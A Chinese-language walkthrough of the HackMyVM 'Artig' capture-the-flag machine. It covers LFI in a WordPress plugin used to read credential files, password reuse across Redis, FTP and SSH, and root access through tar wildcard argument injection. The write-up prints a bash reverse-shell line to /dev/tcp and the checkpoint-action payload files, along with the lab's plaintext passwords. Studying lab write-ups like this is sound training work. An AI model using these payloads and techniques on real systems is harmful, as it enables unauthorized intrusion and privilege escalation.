HackMyVm靶机Artig复盘

1. 信息收集与初期访问

  • 端口扫描:开放了 21 (FTP)、22 (SSH)、80 (HTTP) 以及 6379 (Redis)。

  • FTP匿名

    lftp 192.168.56.194:~> cat note.txt
    Hello team,

    Max here - the new sysadmin. After a quick analysis of the system, I've noticed a few inconsistencies left by the previous admin, particularly around some core services and their conf files. For now, I'd prefer not to touch anything too sensitive until I have a clearer picture.

    I'm currently testing a site editor plugin a colleague recommended. The homepage is still empty while I sort things out, but it should be up soon.

    For the time being, SSH access has been restricted to admin accounts only.

    Please be patient, and apologies for any inconvenience. I'm working as quickly as possible to get everything back in order.
    649 bytes transferred

  • Web 漏洞利用 :使用 nuclei 扫描发现 WordPress 插件存在 LFI (本地文件包含) 漏洞。

  • 敏感文件读取

    • 读取 /etc/redis/redis.conf:获取 Redis 密码 washington
    • 读取 /etc/passwd:确认系统中存在用户 mariomax
    • 读取 /etc/group:发现用户 mario 属于 redis
    • 读取 /etc/ssh/sshd_config: 限制了 AllowUsers max

2. 身份切换 (Horizontal Movement)

  • 密码复用 :使用 Redis 密码 washington 进行喷洒,可以以系统用户 mario 的身份登录 FTP 。
  • FTP 搜集
    • mario 登录 FTP,虽然没有上传权限,但在 /var/www/html/ 目录下发现了备份文件 wp-configg.php.bak
    • 下载并查看该文件,提取出数据库密码(推测为 max 的系统密码):m92f21W86rrq
  • SSH 登录
    • 直接使用 max:m92f21W86rrq 通过 SSH 登录系统。

3. 权限提升 (Privilege Escalation)

  • 当前身份max
  • sudo 权限检查sudo -l 显示 max 可以以 www-data 身份运行 /bin/bash
    • 执行:sudo -u www-data /bin/bash 切换到 www-data

4. 获取 Root

www-data 之后觉得"走不通",其实 /opt 目录下的 backup.sh 脚本是提权到 root 的关键。

脚本分析:

bash 复制代码
#!/bin/bash
BACKUP_DIR="/root"
TARGET="/var/www/html"
mkdir -p $BACKUP_DIR
cd $TARGET
tar -czf $BACKUP_DIR/wordpress_backup.tar.gz *
  1. 漏洞点tar 命令在 cd $TARGET(即 /var/www/html)后使用了通配符 *
  2. 写权限 :作为 www-data,你对 /var/www/html 具有写权限。
  3. 触发机制 :如果该脚本是由 root 用户的定时任务(Cron Job)触发的,我们可以通过注入 tar 的命令行参数来执行任意命令。

利用步骤:

www-data 的 shell 中执行:

bash 复制代码
cd /var/www/html

# 1. 创建一个反弹 Shell 脚本
echo "bash -i >& /dev/tcp/你的IP/端口 0>&1" > shell.sh
chmod +x shell.sh

# 2. 创建特殊的通配符文件,使 tar 将其解析为参数
touch ./"--checkpoint=1"
touch ./"--checkpoint-action=exec=bash shell.sh"

原理:

当 root 执行 tar -czf ... * 时,通配符 * 会展开为当前目录下所有文件名。tar 会识别出其中的 --checkpoint=1--checkpoint-action=exec=... 并将其作为功能参数执行,从而以 root 身份运行我们的 shell.sh

等待定时任务触发(这里好像是立刻触发),攻击机即可收到来自 root 权限的反弹 Shell。


难点总结(Hard Points)

难点维度 现象 渗透逻辑
FTP 权限 只有读权限,无法上传authorized_keys。 变"漏洞利用"为"信息搜集",寻找备份文件(.bak)
SSH 限制 AllowUsers max 封锁了其他用户 必须找到 max 的凭据,这是初始访问的唯一通道
提权路径 常规 Redis 提权和 SUID 均不可用 审计自定义脚本,发现 root 运行的计划任务中存在 tar * 参数注入风险
相关推荐
琥珀色糖7 小时前
Linux守护进程
linux·终端·守护进程·会话·进程组
2601_962381589 小时前
【转】Python渗透测试工具:sqlmap
python·渗透测试·sql注入·sqlmap·数据库安全
开心大爆炸11 小时前
xrdp 连接 登录对话框输入密码后闪退
linux·运维·服务器
oushaojun212 小时前
大厂 C++ 面试:深度剖析 Linux Signal 信号机制(转)
linux
苏生Susheng12 小时前
【软件实施】Linux系统Shell脚本教程
linux·运维·服务器·chrome·spring boot·学习·实施
Ruiery13 小时前
Linux 6.6内核 IOMMU 深度解析(七):DMA API 与 IOMMU 集成 — 从 dma_map_single 到 iommu_map
linux·运维·服务器
分支预测失败13 小时前
RISC-V AIA 中断架构实战:从 PLIC 到 APLIC 与 IMSIC 的迁移
linux·后端
GeW13 小时前
RHCE学习拿证计划:锁定核心考点,实现备考效率最大化
linux
snow@li13 小时前
服务器运维:Alibaba Cloud Linux 4 LTS 64位 根目录全景深度解析文章
linux·运维·服务器
苏生Susheng13 小时前
【软件实施】Linux企业运维常用命令手册
java·linux·运维·服务器·springboot·springcloud·软件实施